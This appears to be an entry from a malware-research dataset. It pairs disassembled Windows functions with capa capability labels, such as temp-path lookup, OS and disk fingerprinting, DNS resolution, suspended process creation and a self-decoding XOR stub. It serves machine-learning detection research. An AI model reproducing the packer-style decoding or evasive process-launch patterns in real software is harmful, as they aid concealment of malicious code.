joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401830
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
push 4
push 0x411f24
xor ebx, ebx
push 0x425218
mov dword [0x425218], ebx
call fcn.00404670
push 4
push 0x411f24
push 0x425110
mov byte [0x425218], bl
mov dword [0x425110], ebx
call fcn.00404670
add esp, 0x18
push 0x425110
push 0x104
mov byte [0x425110], bl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 3
push 1
mov edi, 0x425110
call fcn.00401aa0
add esp, 8
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401895
mov edi, 0x425218
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4018a6
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412054
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
jmp 0x4018d0
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4018d0
mov edi, 0x425218
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4018e1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, 0x425218
pop ebx
ret

Function at 0x401990
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
lea eax, [ebp - 0x108]
push 0x411f24
xor ebx, ebx
push eax
mov esi, ecx
mov dword [ebp - 0x108], ebx
call fcn.00404670
push 4
lea ecx, [ebp - 0x20c]
push 0x411f24
push ecx
mov byte [ebp - 0x108], bl
mov dword [ebp - 0x20c], ebx
call fcn.00404670
mov eax, esi
add esp, 0x18
mov byte [ebp - 0x20c], bl
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4019f0
lea edi, [ebp - 0x20c]
sub eax, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x401a00
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401830
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401a20
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x401a32
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x20c]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401a50
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x401a62
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404660
mov esp, ebp
pop ebp
ret
Function at 0x402210
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 4
push 0x411f24
xor ebx, ebx
push 0x424910
mov dword [0x424910], ebx
call fcn.00404670
push 4
push 0x411f24
push 0x424510
mov byte [0x424910], bl
mov dword [0x424510], ebx
call fcn.00404670
push 4
push 0x411f24
push 0x424110
mov byte [0x424510], bl
mov dword [0x424110], ebx
call fcn.00404670
xor eax, eax
push 0x9c
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xa0]
push ebx
push eax
mov byte [0x424110], bl
call fcn.00407980
push 0x412158
call fcn.00401900
add esp, 0x34
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4022d7
mov edi, 0x424510
push esi
sub eax, ecx
mov esi, ecx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4022f0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412168
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402315
mov edi, 0x424110
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402326
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
pop esi
test eax, eax
je 0x402409
push 0x424110
push 0x424510
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402382
lea edx, [ebp - 0xc4]
push edx
call eax
jmp 0x40238f
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x9c], 5
jbe 0x4023f4
mov eax, dword [ebp - 0xc4]
cmp ax, 9
jne 0x4023d7
mov edi, 0x424910
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4023b0
mov cx, word [0x410100]
mov word [edi], cx
pop edi
mov eax, 0x424910
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404660
mov esp, ebp
pop ebp
ret
cmp ax, bx
jne 0x4023f4
mov edi, 0x424910
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4023e2
mov dx, word [str.01:]
mov word [edi], dx
pop edi
mov eax, 0x424910
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404660
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 0x411f24
pop ebx
call fcn.00404660
mov esp, ebp
pop ebp
ret
Function at 0x402420
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
push 0x411f24
xor ebx, ebx
push 0x423910
mov dword [0x423910], ebx
call fcn.00404670
add esp, 0xc
push 0x104
push 0x423910
mov byte [0x423910], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x200
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0x408]
push eax
push 0x200
lea ecx, [ebp - 0x404]
push ecx
push 3
push 1
mov edi, 0x423910
call fcn.00401aa0
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 4
push 0x411f24
push 0x412f10
mov dword [0x412f10], ebx
call fcn.00404670
mov eax, dword [ebp - 0x408]
push 4
lea esi, [eax*8]
push 0x411f24
push 0x413310
mov byte [0x412f10], bl
sub esi, eax
mov dword [0x413310], ebx
call fcn.00404670
push 0xa
push 0x413310
push esi
mov byte [0x413310], bl
call fcn.0040d2fa
push 5
push 2
mov edi, 0x413310
call fcn.00401aa0
add esp, 0x2c
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402516
mov edi, 0x412f10
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402525
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x408]
push 4
push 0x411f24
add esi, esi
push 0x413310
add esi, esi
mov dword [0x413310], ebx
call fcn.00404670
push 0xa
push 0x413310
push esi
mov byte [0x413310], bl
call fcn.0040d2fa
push 5
push 2
mov edi, 0x413310
call fcn.00401aa0
add esp, 0x20
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402582
mov edi, 0x412f10
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402591
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 0x412f10
pop ebx
call fcn.00404660
mov esp, ebp
pop ebp
ret
Function at 0x403470
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x198]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.WS2_32.dll_gethostbyname]
push esi
call edi
test eax, eax
je 0x4034db
push esi
call edi
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [ebp - 0x19c]
push ecx
call fcn.00408690
mov edx, dword [ebp - 0x19c]
add esp, 0xc
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x42659c
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4034d1
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 0x42659c
pop edi
call fcn.00404660
mov esp, ebp
pop ebp
ret
Function at 0x403a90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
lea ecx, [ebp - 0x110]
push 0x411f24
xor esi, esi
push ecx
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x110], esi
call fcn.00404670
add esp, 0xc
push 4
lea edx, [ebp - 0x218]
push 0x411f24
push edx
mov byte [ebp - 0x110], 0
mov dword [ebp - 0x218], esi
call fcn.00404670
add esp, 0xc
push 4
lea eax, [ebp - 0x320]
push 0x411f24
push eax
mov byte [ebp - 0x218], 0
mov dword [ebp - 0x320], esi
call fcn.00404670
add esp, 0xc
push 0x410110
mov eax, ebx
mov byte [ebp - 0x320], 0
call fcn.00403f30
add esp, 4
dec eax
push eax
push 1
mov edi, ebx
call fcn.00401aa0
add esp, 8
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b38
lea edi, [ebp - 0x218]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403b48
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, ebx
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b63
sub eax, edx
push eax
push 0x410110
mov eax, ebx
call fcn.00403f30
add eax, 3
add esp, 4
push eax
mov edi, ebx
call fcn.00401aa0
add esp, 8
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403b90
lea edi, [ebp - 0x320]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403ba2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 4
and ecx, 3
push 0x411f24
rep movsb byte es:[edi], byte [esi]
push 0x426498
mov dword [0x426498], 0
call fcn.00404670
add esp, 0xc
push 0x426498
push 0x104
mov byte [0x426498], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, 0x426498
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403bf4
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403c06
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x218]
rep movsb byte es:[edi], byte [esi]
call fcn.00403cd0
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403c30
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403c42
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412128
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403c67
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403c80
mov edx, dword [ebp - 0x324]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x320]
push ecx
push edx
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x110]
call fcn.00404040
mov ecx, dword [ebp - 4]
add esp, 0xc
pop edi
xor ecx, ebp
pop esi
call fcn.00404660
mov esp, ebp
pop ebp
ret
Function at 0x403d80
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push 0
push 0x20000000
push 3
push 0
push 1
push 0
push ebx
call esi
cmp eax, 0xffffffff
je 0x403db4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
push 0x41212c
call fcn.00401900
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x403dfb
push 0x412134
call fcn.00401900
add esp, 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403df4
mov ecx, dword [ebp + 8]
push 0
push 0
push ebx
push ecx
push 0
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0x20000000
push 3
push 0
push 1
push 0
push ebx
call esi
cmp eax, 0xffffffff
je 0x403f17
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push ebx
call esi
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebx, eax
call edi
cmp ebx, 0x1400
jle 0x403f17
mov esi, dword [ebp + 0x14]
mov ecx, str.01:
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403e77
test dl, dl
je 0x403e73
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403e77
add eax, 2
add ecx, 2
test dl, dl
jne 0x403e57
xor eax, eax
jmp 0x403e7c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403ea8
mov edx, dword [ebp + 0xc]
call fcn.004017f0
test eax, eax
je 0x403e97
mov edx, dword [ebp + 0x10]
push edx
mov ecx, 0x410120
jmp 0x403ea0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, 0x410124
call fcn.00404170
add esp, 4
mov ecx, 0x410100
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403ed0
test dl, dl
je 0x403ecc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403ed0
add eax, 2
add ecx, 2
test dl, dl
jne 0x403eb0
xor eax, eax
jmp 0x403ed5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403f28
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401460
add esp, 4
test eax, eax
je 0x403f00
mov edx, dword [ebp + 0x10]
push edx
mov ecx, 0x410120
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
mov eax, dword [ebp + 0x10]
push eax
mov ecx, 0x410124
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
mov ecx, dword [ebp + 0x10]
push ecx
mov ecx, 0x41011c
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x404040
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push 0
push 0x20000000
push 3
push 0
push 1
mov ebx, eax
push 0
push ebx
call esi
cmp eax, 0xffffffff
je 0x404076
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x41212c
call fcn.00401900
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4040bd
push 0x412134
call fcn.00401900
add esp, 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4040b6
mov ecx, dword [ebp + 8]
push 0
push 0
push ebx
push ecx
push 0
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0x20000000
push 3
push 0
push 1
push 0
push ebx
call esi
cmp eax, 0xffffffff
je 0x404149
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push ebx
call esi
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 4], eax
call edi
cmp dword [ebp - 4], 0x1400
jle 0x404149
mov edx, dword [ebp + 0x10]
push edx
call fcn.00404380
add esp, 4
test eax, eax
je 0x404131
mov eax, dword [ebp + 0xc]
push eax
mov ecx, 0x410120
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, 0x410124
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
push edx
mov ecx, 0x41011c
call fcn.00404170
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404380
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
lea ecx, [ebp - 0x40c]
push 0x411f24
push ecx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], 0
call fcn.00404670
add esp, 0xc
push 0x412148
mov byte [ebp - 0x40c], 0
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4043d4
lea edi, [ebp - 0x40c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4043e6
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404400
lea edi, [ebp - 0x40c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404412
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x40c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404430
mov dx, word [0x41012c]
mov cl, byte [0x41012e]
mov word [eax], dx
mov byte [eax + 2], cl
mov eax, dword [ebp - 0x410]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404453
lea edi, [ebp - 0x40c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404465
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x46c]
push eax
push 0
push 0
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
mov ecx, 0x11
mov esi, 0x411f28
lea edi, [ebp - 0x46c]
rep movsd dword es:[edi], dword [esi]
push 0
lea ecx, [ebp - 0x40c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 8]
neg eax
sbb eax, eax
pop edi
xor ecx, ebp
neg eax
pop esi
call fcn.00404660
mov esp, ebp
pop ebp
ret

Function at 0x404660
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4110a0]
jne 0x40466a
repz ret
jmp fcn.004065fa
Function at 0x40968b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4110a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405ed2
and dword [ebp - 0x14], 0
cmp dword [0x412e7c], 0
mov dword [ebp - 0x18], eax
jne 0x40973e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4097e6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4097e6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x412e7c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x412e80], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x412e84], eax
call edi
push eax
call esi
mov dword [0x412e8c], eax
test eax, eax
je 0x40973e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x412e88], eax
mov eax, dword [0x412e88]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409797
cmp dword [0x412e8c], ecx
je 0x409797
push eax
call esi
push dword [0x412e8c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409797
test ebx, ebx
je 0x409797
call edi
test eax, eax
je 0x40978e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40978e
test byte [ebp - 8], 1
jne 0x409797
or dword [ebp + 0x10], 0x200000
jmp 0x4097ca
mov eax, dword [0x412e80]
cmp eax, dword [ebp - 0x18]
je 0x4097ca
push eax
call esi
test eax, eax
je 0x4097ca
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4097ca
mov eax, dword [0x412e84]
cmp eax, dword [ebp - 0x18]
je 0x4097ca
push eax
call esi
test eax, eax
je 0x4097ca
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x412e7c]
call esi
test eax, eax
je 0x4097e6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4097e8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404660
leave
ret
Function at 0xddce6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xddce76
pushal
call 0xddce7c
pop ebp
sub ebp, 0x10
sub ebp, 0x9dce6c
jmp 0xddce92
mov eax, 0x9dce6c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0xe79e0445
xor byte [eax], dl
inc eax
dec ecx
jne 0xddcea9
jmp 0xddcebc
into
mov dh, cl
int3
Function at 0x415570
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x415591
jl 0x415588
test edi, edi
jne 0x415591
xor eax, eax
xor edx, edx
jmp 0x415652
cmp dword [ebx + 0x38], 0
je 0x4155a6
push eax
push edi
push dword [ebp + 8]
call fcn.00414ea0
jmp 0x415652
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x4155ed
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x4155ed
cmp eax, edi
jb 0x4155c7
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.004191f0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x4155f3
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x415647
mov ecx, ebx
call fcn.00415ab3
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x415632
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041fc3d
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x415647
jmp 0x415605
test edx, edx
je 0x415647
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041fc3d
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4164ef
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41652e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41652e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41652e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41652e
cmp dword [ecx + 0x74], 0xe
jbe 0x41652e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x422330
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42235d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42235d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x424556
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x436c48
push 0x436c40
push str.FlsAlloc
push 0x1f
call fcn.0042496d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42458a
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x424590
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4245d4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x436c58
push 0x436c50
push str.FlsGetValue
push 0x21
call fcn.0042496d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42460b
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x424613
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x436c60
push 0x436c58
push str.FlsSetValue
push 0x22
call fcn.0042496d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42464d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]